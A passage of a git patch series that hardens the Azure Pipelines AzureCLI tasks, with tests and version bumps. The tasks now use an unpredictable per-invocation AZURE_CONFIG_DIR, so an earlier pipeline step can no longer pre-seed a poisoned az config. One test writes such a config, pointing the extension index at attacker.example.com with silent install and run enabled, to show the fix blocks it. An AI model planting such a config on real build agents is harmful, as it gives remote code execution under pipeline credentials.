AZURE_CONFIG_DIR at. + const poisonedDir = path.join(agentTemp, '.azclitask'); + fs.mkdirSync(poisonedDir, { recursive: true }); + const poisonedConfig = path.join(poisonedDir, 'config'); + fs.writeFileSync(poisonedConfig, + '[extension]\nindex_url = https://attacker.example.com/index.json\n' + + 'use_dynamic_install = yes_without_prompt\n' + + 'run_after_dynamic_install = True\n'); + + const dir = createPerInvocationAzureConfigDir(agentTemp); + try { + assert.notStrictEqual(dir, poisonedDir, + 'new config dir must not be the attacker-controlled predictable path'); + assert(!fs.existsSync(path.join(dir, 'config')), + 'newly-created config dir must not contain a pre-seeded config file'); + } finally { + fs.rmSync(dir, { recursive: true, force: true }); + } + }); + + it('throws when agentTempDir is empty/undefined', () => { + assert.throws(() => createPerInvocationAzureConfigDir(undefined as any)); + assert.throws(() => createPerInvocationAzureConfigDir('')); + }); + }); + + describe('removePerInvocationAzureConfigDir', () => { + let agentTemp: string; + + beforeEach(() => { + agentTemp = fs.mkdtempSync(path.join(os.tmpdir(), 'azcli-agenttmp-')); + }); + + afterEach(() => { + try { fs.rmSync(agentTemp, { recursive: true, force: true }); } catch { /* ignore */ } + delete process.env['AZURE_CONFIG_DIR']; + }); + + it('removes the directory (even when it contains files left by az)', () => { + const dir = createPerInvocationAzureConfigDir(agentTemp); + fs.writeFileSync(path.join(dir, 'config'), '[extension]\nindex_url = x\n'); + fs.mkdirSync(path.join(dir, 'cliextensions')); + process.env['AZURE_CONFIG_DIR'] = dir; + removePerInvocationAzureConfigDir(dir); + assert(!fs.existsSync(dir), 'directory must be gone after cleanup'); + assert(process.env['AZURE_CONFIG_DIR'] === undefined, + 'AZURE_CONFIG_DIR env var must be unset after cleanup'); + }); + + it('is a no-op for null/empty inputs (safe in finally)', () => { + assert.doesNotThrow(() => removePerInvocationAzureConfigDir(null)); + assert.doesNotThrow(() => removePerInvocationAzureConfigDir(undefined)); + assert.doesNotThrow(() => removePerInvocationAzureConfigDir('')); + }); + + it('never throws when the path does not exist', () => { + const ghost = path.join(agentTemp, '.azclitask-ghost00'); + assert(!fs.existsSync(ghost)); + assert.doesNotThrow(() => removePerInvocationAzureConfigDir(ghost)); + }); + }); +} diff --git a/_generated/AzureCLIV3_Node24/azureclitask.ts b/_generated/AzureCLIV3_Node24/azureclitask.ts index 3b6b24feb1d0..979dd9207b08 100644 --- a/_generated/AzureCLIV3_Node24/azureclitask.ts +++ b/_generated/AzureCLIV3_Node24/azureclitask.ts @@ -10,6 +10,7 @@ import { ITaskApi } from "azure-devops-node-api/TaskApi"; import { validateAzModuleVersion } from "azure-pipelines-tasks-azure-arm-rest/azCliUtility"; import { emitTelemetry } from 'azure-pipelines-tasks-artifacts-common/telemetry'; import { tryValidateScriptArgs, ArgsSanitizingError } from "./src/argsSanitizer"; +import { createPerInvocationAzureConfigDir, removePerInvocationAzureConfigDir } from "./src/AzureCliConfigDir"; const nodeVersion = parseInt(process.version.split('.')[0].replace('v', '')); if (nodeVersion > 16) { @@ -162,7 +163,11 @@ export class azureclitask { } if (scriptType) { - await scriptType.cleanUp(); + try { + await scriptType.cleanUp(); + } catch (cleanupErr) { + tl.debug(`scriptType.cleanUp() threw: ${cleanupErr && cleanupErr.message || cleanupErr}`); + } } if (this.cliPasswordPath) { @@ -170,6 +175,11 @@ export class azureclitask { tl.rmRF(this.cliPasswordPath); } + if (this.azCliConfigPath) { + removePerInvocationAzureConfigDir(this.azCliConfigPath); + this.azCliConfigPath = null; + } + //set the task result to either succeeded or failed based on error was thrown or not if(toolExecutionError === FAIL_ON_STDERR) { tl.setResult(tl.TaskResult.Failed, tl.loc("ScriptFailedStdErr")); @@ -259,6 +269,7 @@ export class azureclitask { private static isLoggedIn: boolean = false; private static cliPasswordPath: string = null; + private static azCliConfigPath: string = null; private static servicePrincipalId: string = null; private static servicePrincipalKey: string = null; private static federatedToken: string = null; @@ -502,10 +513,14 @@ export class azureclitask { return; } - if (!!tl.getVariable('Agent.TempDirectory')) { - var azCliConfigPath = path.join(tl.getVariable('Agent.TempDirectory'), ".azclitask"); - console.log(tl.loc('SettingAzureConfigDir', azCliConfigPath)); - process.env['AZURE_CONFIG_DIR'] = azCliConfigPath; + const agentTempDir = tl.getVariable('Agent.TempDirectory'); + if (!!agentTempDir) { + // Security: create an unpredictable per-invocation + // directory so an earlier pipeline step cannot pre-seed a poisoned + // az config file at $(Agent.TempDirectory)/.azclitask/config. + this.azCliConfigPath = createPerInvocationAzureConfigDir(agentTempDir); + console.log(tl.loc('SettingAzureConfigDir', this.azCliConfigPath)); + process.env['AZURE_CONFIG_DIR'] = this.azCliConfigPath; } else { console.warn(tl.loc('GlobalCliConfigAgentVersionWarning')); } diff --git a/_generated/AzureCLIV3_Node24/src/AzureCliConfigDir.ts b/_generated/AzureCLIV3_Node24/src/AzureCliConfigDir.ts new file mode 100644 index 000000000000..e0f944c13ab0 --- /dev/null +++ b/_generated/AzureCLIV3_Node24/src/AzureCliConfigDir.ts @@ -0,0 +1,59 @@ +import * as fs from 'fs'; +import * as path from 'path'; +import * as tl from 'azure-pipelines-task-lib/task'; + +/** + * AZURE_CONFIG_DIR isolation helper for the AzureCLI@1/@2/@3 tasks. + * + * NOTE: this file is intentionally duplicated under + * Tasks/AzureCLIV1/src, Tasks/AzureCLIV2/src and Tasks/AzureCLIV3/src. + * Each AzureCLI task is shipped as a self-contained npm package and the + * repo convention is to keep small, task-coupled helpers in the task + * folder rather than introduce a new shared package. Keep all three + * copies in sync when changing this file. + * + * Background: the legacy code pointed AZURE_CONFIG_DIR at the predictable + * path $(Agent.TempDirectory)/.azclitask which allowed any earlier + * pipeline step running on the same agent to pre-seed a poisoned `config` + * file (e.g. extension.index_url / use_dynamic_install / + * run_after_dynamic_install) and achieve code execution under the + * service-connection identity once the AzureCLI task subsequently invoked + * `az`. Creating a fresh, unpredictable directory per invocation closes + * that gap. + */ + +/** + * Creates a per-invocation, unpredictable AZURE_CONFIG_DIR under the + * supplied agent temp directory. Returns the absolute path. The directory + * has the form `${agentTempDir}/.azclitask-XXXXXX` where XXXXXX is six + * cryptographically-random alphanumeric characters chosen by libuv + * (filesystem-safe on every supported OS). + */ +export function createPerInvocationAzureConfigDir(agentTempDir: string): string { + if (!agentTempDir) { + throw new Error('agentTempDir is required'); + } + return fs.mkdtempSync(path.join(agentTempDir, '.azclitask-')); +} + +/** + * Removes a directory previously created by + * createPerInvocationAzureConfigDir and unsets the AZURE_CONFIG_DIR env + * var. Safe to call in `finally` — never throws; logs to tl.debug on + * failure so a broken cleanup cannot mask the original task error. + */ +export function removePerInvocationAzureConfigDir(configPath: string | null | undefined): void { + if (!configPath) { + return; + } + tl.debug(`Removing per-invocation AZURE_CONFIG_DIR: ${configPath}`); + try { + tl.rmRF(configPath); + } catch (rmErr) { + const msg = (rmErr && (rmErr as Error).message) || String(rmErr); + tl.debug(`Failed to remove AZURE_CONFIG_DIR: ${msg}`); + } + try { + delete process.env['AZURE_CONFIG_DIR']; + } catch { /* ignore */ } +} \ No newline at end of file From 290f025b1bca7f9309352957c08350a7869736a2 Mon Sep 17 00:00:00 2001 From: "Uladzimir Tratsiakou (Vladimir/Vova)" Date: Fri, 29 May 2026 14:30:58 +0200 Subject: [PATCH 2/6] Bump AzureCLI V1/V2/V3 task versions for sprint 275 CI 'Check for downgrading tasks' requires task version > master: - AzureCLIV1: 1.274.0 -> 1.275.0 (minor < sprint) - AzureCLIV2: 2.275.4 -> 2.275.6 (== master patch) - AzureCLIV3: 3.275.8 -> 3.275.10 (== master patch) Node24 variants auto-bumped to +1 by BuildConfigGen. Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com> --- Tasks/AzureCLIV1/task.json | 2 +- Tasks/AzureCLIV1/task.loc.json | 2 +- Tasks/AzureCLIV2/task.json | 2 +- Tasks/AzureCLIV2/task.loc.json | 2 +- Tasks/AzureCLIV3/task.json | 2 +- Tasks/AzureCLIV3/task.loc.json | 2 +- _generated/AzureCLIV1.versionmap.txt | 4 ++-- _generated/AzureCLIV1/task.json | 6 +++--- _generated/AzureCLIV1/task.loc.json | 6 +++--- _generated/AzureCLIV1_Node24/task.json | 6 +++--- _generated/AzureCLIV1_Node24/task.loc.json | 6 +++--- _generated/AzureCLIV2.versionmap.txt | 4 ++-- _generated/AzureCLIV2/task.json | 6 +++--- _generated/AzureCLIV2/task.loc.json | 6 +++--- _generated/AzureCLIV2_Node24/task.json | 6 +++--- _generated/AzureCLIV2_Node24/task.loc.json | 6 +++--- _generated/AzureCLIV3.versionmap.txt | 4 ++-- _generated/AzureCLIV3/task.json | 6 +++--- _generated/AzureCLIV3/task.loc.json | 6 +++--- _generated/AzureCLIV3_Node24/task.json | 6 +++--- _generated/AzureCLIV3_Node24/task.loc.json | 6 +++--- 21 files changed, 48 insertions(+), 48 deletions(-) diff --git a/Tasks/AzureCLIV1/task.json b/Tasks/AzureCLIV1/task.json index 3039092b3897..f581164a30a7 100644 --- a/Tasks/AzureCLIV1/task.json +++ b/Tasks/AzureCLIV1/task.json @@ -19,7 +19,7 @@ "demands": [], "version": { "Major": 1, - "Minor": 274, + "Minor": 275, "Patch": 0 }, "minimumAgentVersion": "2.0.0", diff --git a/Tasks/AzureCLIV1/task.loc.json b/Tasks/AzureCLIV1/task.loc.json index c9444a0606b1..f0c03a97779f 100644 --- a/Tasks/AzureCLIV1/task.loc.json +++ b/Tasks/AzureCLIV1/task.loc.json @@ -19,7 +19,7 @@ "demands": [], "version": { "Major": 1, - "Minor": 274, + "Minor": 275, "Patch": 0 }, "minimumAgentVersion": "2.0.0", diff --git a/Tasks/AzureCLIV2/task.json b/Tasks/AzureCLIV2/task.json index 5ba5532bea58..e4c1f7df72ca 100644 --- a/Tasks/AzureCLIV2/task.json +++ b/Tasks/AzureCLIV2/task.json @@ -20,7 +20,7 @@ "version": { "Major": 2, "Minor": 275, - "Patch": 4 + "Patch": 6 }, "minimumAgentVersion": "2.0.0", "instanceNameFormat": "Azure CLI $(scriptPath)", diff --git a/Tasks/AzureCLIV2/task.loc.json b/Tasks/AzureCLIV2/task.loc.json index 5342bcff0bd7..1b8711402c82 100644 --- a/Tasks/AzureCLIV2/task.loc.json +++ b/Tasks/AzureCLIV2/task.loc.json @@ -20,7 +20,7 @@ "version": { "Major": 2, "Minor": 275, - "Patch": 4 + "Patch": 6 }, "minimumAgentVersion": "2.0.0", "instanceNameFormat": "ms-resource:loc.instanceNameFormat", diff --git a/Tasks/AzureCLIV3/task.json b/Tasks/AzureCLIV3/task.json index 91d627f76db1..b76817e4862b 100644 --- a/Tasks/AzureCLIV3/task.json +++ b/Tasks/AzureCLIV3/task.json @@ -20,7 +20,7 @@ "version": { "Major": 3, "Minor": 275, - "Patch": 8 + "Patch": 10 }, "minimumAgentVersion": "2.0.0", "instanceNameFormat": "Azure CLI $(scriptPath)", diff --git a/Tasks/AzureCLIV3/task.loc.json b/Tasks/AzureCLIV3/task.loc.json index 61ae39a48d2c..35a39c783a49 100644 --- a/Tasks/AzureCLIV3/task.loc.json +++ b/Tasks/AzureCLIV3/task.loc.json @@ -20,7 +20,7 @@ "version": { "Major": 3, "Minor": 275, - "Patch": 8 + "Patch": 10 }, "minimumAgentVersion": "2.0.0", "instanceNameFormat": "ms-resource:loc.instanceNameFormat", diff --git a/_generated/AzureCLIV1.versionmap.txt b/_generated/AzureCLIV1.versionmap.txt index 103bc4766df6..10c4b16eef9f 100644 --- a/_generated/AzureCLIV1.versionmap.txt +++ b/_generated/AzureCLIV1.versionmap.txt @@ -1,2 +1,2 @@ -Default|1.274.0 -Node24_1|1.274.1 +Default|1.275.0 +Node24_1|1.275.1 diff --git a/_generated/AzureCLIV1/task.json b/_generated/AzureCLIV1/task.json index 306ecd83f468..82f5a5bf3414 100644 --- a/_generated/AzureCLIV1/task.json +++ b/_generated/AzureCLIV1/task.json @@ -19,7 +19,7 @@ "demands": [], "version": { "Major": 1, - "Minor": 274, + "Minor": 275, "Patch": 0 }, "minimumAgentVersion": "2.0.0", @@ -167,7 +167,7 @@ "ExpiredServicePrincipalMessageWithLink": "Secret expired, update service connection at %s See https://aka.ms/azdo-rm-workload-identity-conversion to learn more about conversion to secret-less service connections." }, "_buildConfigMapping": { - "Default": "1.274.0", - "Node24_1": "1.274.1" + "Default": "1.275.0", + "Node24_1": "1.275.1" } } \ No newline at end of file diff --git a/_generated/AzureCLIV1/task.loc.json b/_generated/AzureCLIV1/task.loc.json index eee42350ded6..d3e877fd19ad 100644 --- a/_generated/AzureCLIV1/task.loc.json +++ b/_generated/AzureCLIV1/task.loc.json @@ -19,7 +19,7 @@ "demands": [], "version": { "Major": 1, - "Minor": 274, + "Minor": 275, "Patch": 0 }, "minimumAgentVersion": "2.0.0", @@ -167,7 +167,7 @@ "ExpiredServicePrincipalMessageWithLink": "ms-resource:loc.messages.ExpiredServicePrincipalMessageWithLink" }, "_buildConfigMapping": { - "Default": "1.274.0", - "Node24_1": "1.274.1" + "Default": "1.275.0", + "Node24_1": "1.275.1" } } \ No newline at end of file diff --git a/_generated/AzureCLIV1_Node24/task.json b/_generated/AzureCLIV1_Node24/task.json index 1873a3ae9110..9d9744cf1d59 100644 --- a/_generated/AzureCLIV1_Node24/task.json +++ b/_generated/AzureCLIV1_Node24/task.json @@ -19,7 +19,7 @@ "demands": [], "version": { "Major": 1, - "Minor": 274, + "Minor": 275, "Patch": 1 }, "minimumAgentVersion": "2.0.0", @@ -171,7 +171,7 @@ "ExpiredServicePrincipalMessageWithLink": "Secret expired, update service connection at %s See https://aka.ms/azdo-rm-workload-identity-conversion to learn more about conversion to secret-less service connections." }, "_buildConfigMapping": { - "Default": "1.274.0", - "Node24_1": "1.274.1" + "Default": "1.275.0", + "Node24_1": "1.275.1" } } \ No newline at end of file diff --git a/_generated/AzureCLIV1_Node24/task.loc.json b/_generated/AzureCLIV1_Node24/task.loc.json index c97d405c8b0d..7d57a99a0d3b 100644 --- a/_generated/AzureCLIV1_Node24/task.loc.json +++ b/_generated/AzureCLIV1_Node24/task.loc.json @@ -19,7 +19,7 @@ "demands": [], "version": { "Major": 1, - "Minor": 274, + "Minor": 275, "Patch": 1 }, "minimumAgentVersion": "2.0.0", @@ -171,7 +171,7 @@ "ExpiredServicePrincipalMessageWithLink": "ms-resource:loc.messages.ExpiredServicePrincipalMessageWithLink" }, "_buildConfigMapping": { - "Default": "1.274.0", - "Node24_1": "1.274.1" + "Default": "1.275.0", + "Node24_1": "1.275.1" } } \ No newline at end of file diff --git a/_generated/AzureCLIV2.versionmap.txt b/_generated/AzureCLIV2.versionmap.txt index 265947236b72..c65bb3cd0ff3 100644 --- a/_generated/AzureCLIV2.versionmap.txt +++ b/_generated/AzureCLIV2.versionmap.txt @@ -1,2 +1,2 @@ -Default|2.275.4 -Node24_1|2.275.5 +Default|2.275.6 +Node24_1|2.275.7 diff --git a/_generated/AzureCLIV2/task.json b/_generated/AzureCLIV2/task.json index b234c526bcfd..16ecfab54f66 100644 --- a/_generated/AzureCLIV2/task.json +++ b/_generated/AzureCLIV2/task.json @@ -20,7 +20,7 @@ "version": { "Major": 2, "Minor": 275, - "Patch": 4 + "Patch": 6 }, "minimumAgentVersion": "2.0.0", "instanceNameFormat": "Azure CLI $(scriptPath)", @@ -231,7 +231,7 @@ "ScriptArgsSanitized": "Detected characters in arguments that may not be executed correctly by the shell. Please escape special characters using backslash (\\). More information is available here: https://aka.ms/ado/75787" }, "_buildConfigMapping": { - "Default": "2.275.4", - "Node24_1": "2.275.5" + "Default": "2.275.6", + "Node24_1": "2.275.7" } } \ No newline at end of file diff --git a/_generated/AzureCLIV2/task.loc.json b/_generated/AzureCLIV2/task.loc.json index b8761afdf5f7..ef7aa59de5b4 100644 --- a/_generated/AzureCLIV2/task.loc.json +++ b/_generated/AzureCLIV2/task.loc.json @@ -20,7 +20,7 @@ "version": { "Major": 2, "Minor": 275, - "Patch": 4 + "Patch": 6 }, "minimumAgentVersion": "2.0.0", "instanceNameFormat": "ms-resource:loc.instanceNameFormat", @@ -231,7 +231,7 @@ "ScriptArgsSanitized": "ms-resource:loc.messages.ScriptArgsSanitized" }, "_buildConfigMapping": { - "Default": "2.275.4", - "Node24_1": "2.275.5" + "Default": "2.275.6", + "Node24_1": "2.275.7" } } \ No newline at end of file diff --git a/_generated/AzureCLIV2_Node24/task.json b/_generated/AzureCLIV2_Node24/task.json index 2d7585b19955..b83f4a756f00 100644 --- a/_generated/AzureCLIV2_Node24/task.json +++ b/_generated/AzureCLIV2_Node24/task.json @@ -20,7 +20,7 @@ "version": { "Major": 2, "Minor": 275, - "Patch": 5 + "Patch": 7 }, "minimumAgentVersion": "2.0.0", "instanceNameFormat": "Azure CLI $(scriptPath)", @@ -235,7 +235,7 @@ "ScriptArgsSanitized": "Detected characters in arguments that may not be executed correctly by the shell. Please escape special characters using backslash (\\). More information is available here: https://aka.ms/ado/75787" }, "_buildConfigMapping": { - "Default": "2.275.4", - "Node24_1": "2.275.5" + "Default": "2.275.6", + "Node24_1": "2.275.7" } } \ No newline at end of file diff --git a/_generated/AzureCLIV2_Node24/task.loc.json b/_generated/AzureCLIV2_Node24/task.loc.json index 6b4a15820b16..292ee7d0495c 100644 --- a/_generated/AzureCLIV2_Node24/task.loc.json +++ b/_generated/AzureCLIV2_Node24/task.loc.json @@ -20,7 +20,7 @@ "version": { "Major": 2, "Minor": 275, - "Patch": 5 + "Patch": 7 }, "minimumAgentVersion": "2.0.0", "instanceNameFormat": "ms-resource:loc.instanceNameFormat", @@ -235,7 +235,7 @@ "ScriptArgsSanitized": "ms-resource:loc.messages.ScriptArgsSanitized" }, "_buildConfigMapping": { - "Default": "2.275.4", - "Node24_1": "2.275.5" + "Default": "2.275.6", + "Node24_1": "2.275.7" } } \ No newline at end of file diff --git a/_generated/AzureCLIV3.versionmap.txt b/_generated/AzureCLIV3.versionmap.txt index e48cf1615e7d..efb07c18b086 100644 --- a/_generated/AzureCLIV3.versionmap.txt +++ b/_generated/AzureCLIV3.versionmap.txt @@ -1,2 +1,2 @@ -Default|3.275.8 -Node24_1|3.275.9 +Default|3.275.10 +Node24_1|3.275.11 diff --git a/_generated/AzureCLIV3/task.json b/_generated/AzureCLIV3/task.json index 1720204e12f9..2ee6faafd2f4 100644 --- a/_generated/AzureCLIV3/task.json +++ b/_generated/AzureCLIV3/task.json @@ -20,7 +20,7 @@ "version": { "Major": 3, "Minor": 275, - "Patch": 8 + "Patch": 10 }, "minimumAgentVersion": "2.0.0", "instanceNameFormat": "Azure CLI $(scriptPath)", @@ -275,7 +275,7 @@ "ScriptArgsSanitized": "Detected characters in arguments that may not be executed correctly by the shell. Please escape special characters using backslash (\\). More information is available here: https://aka.ms/ado/75787" }, "_buildConfigMapping": { - "Default": "3.275.8", - "Node24_1": "3.275.9" + "Default": "3.275.10", + "Node24_1": "3.275.11" } } \ No newline at end of file diff --git a/_generated/AzureCLIV3/task.loc.json b/_generated/AzureCLIV3/task.loc.json index 146b91e8665d..113ba4d79771 100644 --- a/_generated/AzureCLIV3/task.loc.json +++ b/_generated/AzureCLIV3/task.loc.json @@ -20,7 +20,7 @@ "version": { "Major": 3, "Minor": 275, - "Patch": 8 + "Patch": 10 }, "minimumAgentVersion": "2.0.0", "instanceNameFormat": "ms-resource:loc.instanceNameFormat", @@ -275,7 +275,7 @@ "ScriptArgsSanitized": "ms-resource:loc.messages.ScriptArgsSanitized" }, "_buildConfigMapping": { - "Default": "3.275.8", - "Node24_1": "3.275.9" + "Default": "3.275.10", + "Node24_1": "3.275.11" } } \ No newline at end of file diff --git a/_generated/AzureCLIV3_Node24/task.json b/_generated/AzureCLIV3_Node24/task.json index 4e5701936cb3..5092f4e00ad4 100644 --- a/_generated/AzureCLIV3_Node24/task.json +++ b/_generated/AzureCLIV3_Node24/task.json @@ -20,7 +20,7 @@ "version": { "Major": 3, "Minor": 275, - "Patch": 9 + "Patch": 11 }, "minimumAgentVersion": "2.0.0", "instanceNameFormat": "Azure CLI $(scriptPath)", @@ -279,7 +279,7 @@ "ScriptArgsSanitized": "Detected characters in arguments that may not be executed correctly by the shell. Please escape special characters using backslash (\\). More information is available here: https://aka.ms/ado/75787" }, "_buildConfigMapping": { - "Default": "3.275.8", - "Node24_1": "3.275.9" + "Default": "3.275.10", + "Node24_1": "3.275.11" } } \ No newline at end of file diff --git a/_generated/AzureCLIV3_Node24/task.loc.json b/_generated/AzureCLIV3_Node24/task.loc.json index a292abc07fc6..9cd8c3f297fe 100644 --- a/_generated/AzureCLIV3_Node24/task.loc.json +++ b/_generated/AzureCLIV3_Node24/task.loc.json @@ -20,7 +20,7 @@ "version": { "Major": 3, "Minor": 275, - "Patch": 9 + "Patch": 11 }, "minimumAgentVersion": "2.0.0", "instanceNameFormat": "ms-resource:loc.instanceNameFormat", @@ -279,7 +279,7 @@ "ScriptArgsSanitized": "ms-resource:loc.messages.ScriptArgsSanitized" }, "_buildConfigMapping": { - "Default": "3.275.8", - "Node24_1": "3.275.9" + "Default": "3.275.10", + "Node24_1": "3.275.11" } } \ No newline at end of file From 6626762c426482080c06669ce57eac4f6da70011 Mon Sep 17 00:00:00 2001 From: "Uladzimir Tratsiakou (Vladimir/Vova)" Date: Fri, 29 May 2026 16:39:42 +0200 Subject: [PATCH 3/6] AzureCLI@1/@2/@3: pair AZURE_CONFIG_DIR set/unset inside helper createPerInvocationAzureConfigDir now sets process.env.AZURE_CONFIG_DIR to the new directory (matching the unset already done by removePerInvocationAzureConfigDir on cleanup). Callers no longer need to remember to mirror the env assignment after the mkdtempSync. Behavior is unchanged: identical env-var lifetime as before (set in beforeExecution, unset in finally), but the pair is now encapsulated in one module so it cannot drift. The helper stays per-task (one copy in each of V1/V2/V3) to match the repo convention of self-contained tasks. Added L0 test asserting the env var is set after the call. Cleanup in the first describe's afterEach unsets the var so tests stay isolated. Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com> --- Tasks/AzureCLIV1/Tests/L0ConfigDirIsolation.ts | 12 ++++++++++++ Tasks/AzureCLIV1/azureclitask.ts | 1 - Tasks/AzureCLIV1/src/AzureCliConfigDir.ts | 14 ++++++++++---- Tasks/AzureCLIV2/Tests/L0ConfigDirIsolation.ts | 12 ++++++++++++ Tasks/AzureCLIV2/azureclitask.ts | 1 - Tasks/AzureCLIV2/src/AzureCliConfigDir.ts | 14 ++++++++++---- Tasks/AzureCLIV3/Tests/L0ConfigDirIsolation.ts | 12 ++++++++++++ Tasks/AzureCLIV3/azureclitask.ts | 1 - Tasks/AzureCLIV3/src/AzureCliConfigDir.ts | 14 ++++++++++---- .../AzureCLIV1/Tests/L0ConfigDirIsolation.ts | 12 ++++++++++++ _generated/AzureCLIV1/azureclitask.ts | 1 - _generated/AzureCLIV1/src/AzureCliConfigDir.ts | 14 ++++++++++---- .../Tests/L0ConfigDirIsolation.ts | 12 ++++++++++++ _generated/AzureCLIV1_Node24/azureclitask.ts | 1 - .../AzureCLIV1_Node24/src/AzureCliConfigDir.ts | 14 ++++++++++---- .../AzureCLIV2/Tests/L0ConfigDirIsolation.ts | 12 ++++++++++++ _generated/AzureCLIV2/azureclitask.ts | 1 - _generated/AzureCLIV2/src/AzureCliConfigDir.ts | 14 ++++++++++---- .../Tests/L0ConfigDirIsolation.ts | 12 ++++++++++++ _generated/AzureCLIV2_Node24/azureclitask.ts | 1 - .../AzureCLIV2_Node24/src/AzureCliConfigDir.ts | 14 ++++++++++---- .../AzureCLIV3/Tests/L0ConfigDirIsolation.ts | 12 ++++++++++++ _generated/AzureCLIV3/azureclitask.ts | 1 - _generated/AzureCLIV3/src/AzureCliConfigDir.ts | 14 ++++++++++---- .../Tests/L0ConfigDirIsolation.ts | 12 ++++++++++++ _generated/AzureCLIV3_Node24/azureclitask.ts | 1 - .../AzureCLIV3_Node24/src/AzureCliConfigDir.ts | 14 ++++++++++---- 27 files changed, 198 insertions(+), 45 deletions(-) diff --git a/Tasks/AzureCLIV1/Tests/L0ConfigDirIsolation.ts b/Tasks/AzureCLIV1/Tests/L0ConfigDirIsolation.ts index ead17f3cec00..d372e7f820c2 100644 --- a/Tasks/AzureCLIV1/Tests/L0ConfigDirIsolation.ts +++ b/Tasks/AzureCLIV1/Tests/L0ConfigDirIsolation.ts @@ -15,6 +15,18 @@ export function runConfigDirIsolationTests() { afterEach(() => { try { fs.rmSync(agentTemp, { recursive: true, force: true }); } catch { /* ignore */ } + delete process.env['AZURE_CONFIG_DIR']; + }); + + it('sets process.env.AZURE_CONFIG_DIR to the new directory', () => { + delete process.env['AZURE_CONFIG_DIR']; + const dir = createPerInvocationAzureConfigDir(agentTemp); + try { + assert.strictEqual(process.env['AZURE_CONFIG_DIR'], dir, + 'helper must set the env var so az picks up the new dir'); + } finally { + fs.rmSync(dir, { recursive: true, force: true }); + } }); it('creates a brand-new directory under the agent temp root', () => { diff --git a/Tasks/AzureCLIV1/azureclitask.ts b/Tasks/AzureCLIV1/azureclitask.ts index c8781112a47a..eb46039929ec 100644 --- a/Tasks/AzureCLIV1/azureclitask.ts +++ b/Tasks/AzureCLIV1/azureclitask.ts @@ -243,7 +243,6 @@ export class azureclitask { // az config file at $(Agent.TempDirectory)/.azclitask/config. this.azCliConfigPath = createPerInvocationAzureConfigDir(agentTempDir); console.log(tl.loc('SettingAzureConfigDir', this.azCliConfigPath)); - process.env['AZURE_CONFIG_DIR'] = this.azCliConfigPath; } else { console.warn(tl.loc('GlobalCliConfigAgentVersionWarning')); } diff --git a/Tasks/AzureCLIV1/src/AzureCliConfigDir.ts b/Tasks/AzureCLIV1/src/AzureCliConfigDir.ts index e0f944c13ab0..fa8463c0d336 100644 --- a/Tasks/AzureCLIV1/src/AzureCliConfigDir.ts +++ b/Tasks/AzureCLIV1/src/AzureCliConfigDir.ts @@ -24,16 +24,22 @@ import * as tl from 'azure-pipelines-task-lib/task'; /** * Creates a per-invocation, unpredictable AZURE_CONFIG_DIR under the - * supplied agent temp directory. Returns the absolute path. The directory - * has the form `${agentTempDir}/.azclitask-XXXXXX` where XXXXXX is six + * supplied agent temp directory and points process.env.AZURE_CONFIG_DIR + * at it. Returns the absolute path. The directory has the form + * `${agentTempDir}/.azclitask-XXXXXX` where XXXXXX is six * cryptographically-random alphanumeric characters chosen by libuv - * (filesystem-safe on every supported OS). + * (filesystem-safe on every supported OS). Pairing the env-var set with + * the directory creation here (and the unset with cleanup in + * removePerInvocationAzureConfigDir) keeps the lifetime of the variable + * scoped to the lifetime of the directory. */ export function createPerInvocationAzureConfigDir(agentTempDir: string): string { if (!agentTempDir) { throw new Error('agentTempDir is required'); } - return fs.mkdtempSync(path.join(agentTempDir, '.azclitask-')); + const dir = fs.mkdtempSync(path.join(agentTempDir, '.azclitask-')); + process.env['AZURE_CONFIG_DIR'] = dir; + return dir; } /** diff --git a/Tasks/AzureCLIV2/Tests/L0ConfigDirIsolation.ts b/Tasks/AzureCLIV2/Tests/L0ConfigDirIsolation.ts index ead17f3cec00..d372e7f820c2 100644 --- a/Tasks/AzureCLIV2/Tests/L0ConfigDirIsolation.ts +++ b/Tasks/AzureCLIV2/Tests/L0ConfigDirIsolation.ts @@ -15,6 +15,18 @@ export function runConfigDirIsolationTests() { afterEach(() => { try { fs.rmSync(agentTemp, { recursive: true, force: true }); } catch { /* ignore */ } + delete process.env['AZURE_CONFIG_DIR']; + }); + + it('sets process.env.AZURE_CONFIG_DIR to the new directory', () => { + delete process.env['AZURE_CONFIG_DIR']; + const dir = createPerInvocationAzureConfigDir(agentTemp); + try { + assert.strictEqual(process.env['AZURE_CONFIG_DIR'], dir, + 'helper must set the env var so az picks up the new dir'); + } finally { + fs.rmSync(dir, { recursive: true, force: true }); + } }); it('creates a brand-new directory under the agent temp root', () => { diff --git a/Tasks/AzureCLIV2/azureclitask.ts b/Tasks/AzureCLIV2/azureclitask.ts index 7ee68d6bc1ad..7e89217e32ac 100644 --- a/Tasks/AzureCLIV2/azureclitask.ts +++ b/Tasks/AzureCLIV2/azureclitask.ts @@ -378,7 +378,6 @@ export class azureclitask { // attacker pre-seeding and the tight perms come from the agent temp root. this.azCliConfigPath = createPerInvocationAzureConfigDir(tempDir); console.log(tl.loc('SettingAzureConfigDir', this.azCliConfigPath)); - process.env['AZURE_CONFIG_DIR'] = this.azCliConfigPath; } private static setAzureCloudBasedOnServiceEndpoint(): void { diff --git a/Tasks/AzureCLIV2/src/AzureCliConfigDir.ts b/Tasks/AzureCLIV2/src/AzureCliConfigDir.ts index e0f944c13ab0..fa8463c0d336 100644 --- a/Tasks/AzureCLIV2/src/AzureCliConfigDir.ts +++ b/Tasks/AzureCLIV2/src/AzureCliConfigDir.ts @@ -24,16 +24,22 @@ import * as tl from 'azure-pipelines-task-lib/task'; /** * Creates a per-invocation, unpredictable AZURE_CONFIG_DIR under the - * supplied agent temp directory. Returns the absolute path. The directory - * has the form `${agentTempDir}/.azclitask-XXXXXX` where XXXXXX is six + * supplied agent temp directory and points process.env.AZURE_CONFIG_DIR + * at it. Returns the absolute path. The directory has the form + * `${agentTempDir}/.azclitask-XXXXXX` where XXXXXX is six * cryptographically-random alphanumeric characters chosen by libuv - * (filesystem-safe on every supported OS). + * (filesystem-safe on every supported OS). Pairing the env-var set with + * the directory creation here (and the unset with cleanup in + * removePerInvocationAzureConfigDir) keeps the lifetime of the variable + * scoped to the lifetime of the directory. */ export function createPerInvocationAzureConfigDir(agentTempDir: string): string { if (!agentTempDir) { throw new Error('agentTempDir is required'); } - return fs.mkdtempSync(path.join(agentTempDir, '.azclitask-')); + const dir = fs.mkdtempSync(path.join(agentTempDir, '.azclitask-')); + process.env['AZURE_CONFIG_DIR'] = dir; + return dir; } /** diff --git a/Tasks/AzureCLIV3/Tests/L0ConfigDirIsolation.ts 